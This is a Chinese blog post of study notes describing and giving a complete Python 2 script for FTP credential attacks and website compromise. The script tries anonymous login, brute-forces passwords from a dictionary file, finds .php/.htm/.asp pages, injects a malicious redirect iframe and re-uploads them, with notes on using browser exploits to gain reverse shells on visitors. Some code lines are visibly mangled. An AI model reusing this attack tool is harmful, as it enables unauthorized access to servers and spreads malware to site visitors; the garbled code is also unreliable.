• 笔记整理2——python实现ftp口令爆破


    一.主要思路:

    (1).匿名登陆模块:
    def anonLogin(hostname):
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login('anonymous', 'me@your.com')
    有的ftp服务器开启了匿名登录服务,则可以使用该账号密码进行登陆
    user:'anonymous',
    password: 'me@your.com'
    
    (2).密码和口令爆破模块
    def bruteLogin(hostname, passwdFile):
        pF = open(passwdFile, 'r')
        for line in pF.readlines():
            ''''''
            ''''''
            try:
                ftp = ftplib.FTP(hostname)
                ftp.login(userName, passWord)
    可以通过收集的字典进行爆破
    
    (3).查找默认页面
    登陆上ftp服务后,客户以通过ftp.nlst()方法查找所有文件的名字,
    遍历找寻index.htm,index.asp等文件。
    def returnDefault(ftp):
        try:
            dirList = ftp.nlst()
    找到后返回其文件名列表
    
    (4).注入恶意代码
    通过找到的文件名将其文件下载下来,注入重定向代码,使访问该服务器的
    用户都重定向到我们的攻击机上的index页面,从而对浏览器发动攻击
    def injectPage(ftp, page, redirect):
        f = open(page + '.tmp', 'w')
        ftp.retrlines('RETR ' + page, f.write)
        print '[+] Downloaded Page: ' + page
    ''''''''''
    (5).整合全部的攻击,写成一个函数
    登录,遍历文件,上传覆盖,完成对目标服务器的攻击。
    难点在与登录成功。(验证了信息收集的重要性)
    def attack(username,password,tgtHost,redirect):
        ftp = ftplib.FTP(tgtHost)
        ftp.login(username, password)
        defPages = returnDefault(ftp)
    注意的是返回的index因该不止一个。
    
    (6).关于连接肉机的说明
    这部分攻击是有我们已获得的恶意服务器进行对用户浏览器的攻击,
    主要通过浏览器的漏洞利用代码,当用户访问该服务器时,用户浏览器
    会被注入恶意代码,从而向恶意服务器建立一个反向的shell。获得批量肉机。
    
    具体实现尚未学习,可用metasploit框架中的漏洞利用代码。参考攻击
    谷歌的极光行动。
    
    3.主要利用模块
    import ftplib
    import optparse
    import time
    
    4.主要利用函数
    def anonLogin(hostname):
    def bruteLogin(hostname, passwdFile):
    def returnDefault(ftp):
    def injectPage(ftp, page, redirect):
    def attack(username,password,tgtHost,redirect):
    
    5.复习收获与总结
    (1).端口映射的内容
    https://baike.baidu.com/item/%E7%AB%AF%E5%8F%A3%E6%98%A0%E5%B0%84/98247?fr=aladdin
    

    二.代码

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import ftplib
    import optparse
    import time
    
    
    def anonLogin(hostname):
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login('anonymous', 'me@your.com')
            print '
    [*] ' + str(hostname) 
                + ' FTP Anonymous Logon Succeeded.'
            ftp.quit()
            return True
        except Exception, e:
            print '
    [-] ' + str(hostname) +
              ' FTP Anonymous Logon Failed.'
            return False
    
    
    def bruteLogin(hostname, passwdFile):
        pF = open(passwdFile, 'r')
        for line in pF.readlines():
            time.sleep(1)
            userName = line.split(':')[0]
            passWord = line.split(':')[1].strip('
    ').strip('
    ')
            print '[+] Trying: ' + userName + '/' + passWord
            try:
                ftp = ftplib.FTP(hostname)
                ftp.login(userName, passWord)
                print '
    [*] ' + str(hostname) +
                  ' FTP Logon Succeeded: '+userName+'/'+passWord
                ftp.quit()
                return (userName, passWord)
            except Exception, e:
                pass
        print '
    [-] Could not brute force FTP credentials.'
        return (None, None)
    
    
    def returnDefault(ftp):
        try:
            dirList = ftp.nlst()
        except:
            dirList = []
            print '[-] Could not list directory contents.'
            print '[-] Skipping To Next Target.'
            return
    
        retList = []
        for fileName in dirList:
            fn = fileName.lower()
            if '.php' in fn or '.htm' in fn or '.asp' in fn:
                print '[+] Found default page: ' + fileName
            retList.append(fileName)
        return retList
    
    
    def injectPage(ftp, page, redirect):
        f = open(page + '.tmp', 'w')
        ftp.retrlines('RETR ' + page, f.write)
        print '[+] Downloaded Page: ' + page
    
        f.write(redirect)
        f.close()
        print '[+] Injected Malicious IFrame on: ' + page
    
        ftp.storlines('STOR ' + page, open(page + '.tmp'))
        print '[+] Uploaded Injected Page: ' + page
    
    
    def attack(username,password,tgtHost,redirect):
        ftp = ftplib.FTP(tgtHost)
        ftp.login(username, password)
        defPages = returnDefault(ftp)
        for defPage in defPages:
            injectPage(ftp, defPage, redirect)
    
    
    def main():
        parser = optparse.OptionParser('usage %prog '+
          '-H <target host[s]> -r <redirect page>'+
          '[-f <userpass file>]')
        
        parser.add_option('-H', dest='tgtHosts',
          type='string', help='specify target host')
        parser.add_option('-f', dest='passwdFile',
          type='string', help='specify user/password file')
        parser.add_option('-r', dest='redirect',
          type='string',help='specify a redirection page')
    
        (options, args) = parser.parse_args()
        tgtHosts = str(options.tgtHosts).split(',')
        passwdFile = options.passwdFile
        redirect = options.redirect
    
        if tgtHosts == None or redirect == None:
            print parser.usage
            exit(0)
    
        for tgtHost in tgtHosts:
            username = None
            password = None
    
            if anonLogin(tgtHost) == True:
                username = 'anonymous'
                password = 'me@your.com'
                print '[+] Using Anonymous Creds to attack'
                attack(username, password, tgtHost, redirect)
          
            elif passwdFile != None:
                (username, password) =
                  bruteLogin(tgtHost, passwdFile)
                if password != None:
                    '[+] Using Creds: ' +
                      username + '/' + password + ' to attack'
                    attack(username, password, tgtHost, redirect)
    
    if __name__ == '__main__':
        main()
    
    
  • 相关阅读:
    http url转义字符,特殊字符
    No bean named &#39;cxf&#39; is defined
    c语言中结构体指针
    Android fragment (二)
    文件I/O之C标准库函数和系统库函数差别
    计算机组成原理——主存与cache的映射关系
    openstack 用nova API 指定 compute node 创建 instance
    SQL存在一个表而不在还有一个表中的数据
    hdu 2602
    小金登陆游戏
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/11402531.html
Copyright © 2020-2023  润新知